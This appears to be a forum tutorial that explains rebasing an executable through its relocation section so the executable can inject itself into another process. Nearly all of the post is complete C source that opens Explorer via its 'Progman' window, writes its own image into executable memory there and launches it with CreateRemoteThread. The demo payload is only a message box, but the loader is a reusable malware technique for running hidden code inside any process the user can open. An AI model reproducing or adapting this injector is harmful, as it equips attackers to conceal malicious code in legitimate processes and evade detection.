Process Injection and RelocationThe drawback on the simple Process Injection was that for it to work, the remotely allocated
virtual address had to be the same as the imagebase that it was originally loaded to. One problem with it is that if the program had allocated space or loaded a dll into that memory address the VirtualAllocEx would fail because it had already been allocated. For this to work in a process which had already allocated our needed address, we would have use the relocation section within our executable to change address in proportion to the new imagebase. Now a days, compilers by default
leave out the .reloc section because you *normally* don't have to relocate a program. For this source code to work you have to make sure the linker outputs a .reloc section to your executable, or else it won't work and will cause the remote process to crash.
So, whenever you tried to inject a process into another process that was using the required ImageBase, VirtualAllocEx would fail and cause the injection to fail as well. This problem can be fixed by rebasing every address within the relocation section of the executable. And by doing this you can inject an executable into *ANY* process that you have privileges to inject into.
injection.c
#include <windows.h>
#include <stdio.h>
#define MakePtr( cast, ptr, addValue ) (cast)( (DWORD)(ptr) + (addValue) )
BOOL Inject(DWORD dwPid, LPTHREAD_START_ROUTINE lpStartProc, LPVOID lpParam);
BOOL PerformRebase(LPVOID lpAddress, DWORD dwNewBase);
DWORD WINAPI RemoteThread(LPVOID lpParam);
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
HWND hWnd;
DWORD dwPid;
hWnd = FindWindow("Progman", NULL);
GetWindowThreadProcessId(hWnd, &dwPid);
Inject(dwPid, (LPTHREAD_START_ROUTINE)RemoteThread, NULL);
return 0;
}
DWORD WINAPI RemoteThread(LPVOID lpParam)
{
char filename[MAX_PATH], msg[MAX_PATH];
GetModuleFileName(GetModuleHandle(NULL), filename, MAX_PATH);
sprintf(msg, "I am now inside of the remote process: %sn", filename);
MessageBox(0, msg, "", MB_OK);
ExitThread(0);
return 0;
}
BOOL Inject(DWORD dwPid, LPTHREAD_START_ROUTINE lpStartProc, LPVOID lpParam)
{
HMODULE hModule, hNewModule;
DWORD dwSize;
HANDLE hProcess;
PIMAGE_DOS_HEADER pDH;
PIMAGE_NT_HEADERS pPE;
if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid)) == NULL)
return FALSE;
hModule = GetModuleHandle(NULL);
pDH = (PIMAGE_DOS_HEADER)hModule;
pPE = (PIMAGE_NT_HEADERS) ((LPSTR)pDH + pDH->e_lfanew);
dwSize = pPE->OptionalHeader.SizeOfImage;
LPVOID lpNewAddr = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (lpNewAddr == NULL)
return FALSE;
CopyMemory(lpNewAddr, hModule, dwSize);
hNewModule = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (hNewModule == NULL)
return FALSE;
PerformRebase(lpNewAddr, (DWORD)hNewModule);
if (WriteProcessMemory(hProcess, hNewModule, lpNewAddr, dwSize, NULL) == 0)
return FALSE;
DWORD dwThread = (DWORD)lpStartProc - (DWORD)hModule + (DWORD)hNewModule;
if (CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)dwThread, lpParam, 0, NULL) == NULL)
return FALSE;
return TRUE;
}
BOOL PerformRebase(LPVOID lpAddress, DWORD dwNewBase)
{
PIMAGE_DOS_HEADER pDH = (PIMAGE_DOS_HEADER)lpAddress;
if (pDH->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
PIMAGE_NT_HEADERS pPE = (PIMAGE_NT_HEADERS) ((char *)pDH + pDH->e_lfanew);
if (pPE->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
DWORD dwDelta = dwNewBase - pPE->OptionalHeader.ImageBase;
DWORD dwVa = pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
DWORD dwCb = pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
PIMAGE_BASE_RELOCATION pBR = MakePtr(PIMAGE_BASE_RELOCATION, lpAddress, dwVa);
UINT c = 0;
while (c < dwCb)
{
c += pBR->SizeOfBlock;
int RelocCount = (pBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
LPVOID lpvBase = MakePtr(LPVOID, lpAddress, pBR->VirtualAddress);
WORD *areloc = MakePtr(LPWORD, pBR, sizeof(IMAGE_BASE_RELOCATION));
for (int i = 0; i < RelocCount; i++)
{
int type = areloc[i] >> 12;
if (type == 0)
continue;
if (type != 3)
return FALSE;
int ofs = areloc[i] & 0x0fff;
DWORD *pReloc = MakePtr(DWORD *, lpvBase, ofs);
if (*pReloc - pPE->OptionalHeader.ImageBase > pPE->OptionalHeader.SizeOfImage)
return FALSE;
*pReloc += dwDelta;
}
pBR = MakePtr(PIMAGE_BASE_RELOCATION, pBR, pBR->SizeOfBlock);
}
pPE->OptionalHeader.ImageBase = dwNewBase;
return TRUE;
}
Author: Anubis
Please register or login to download attachments.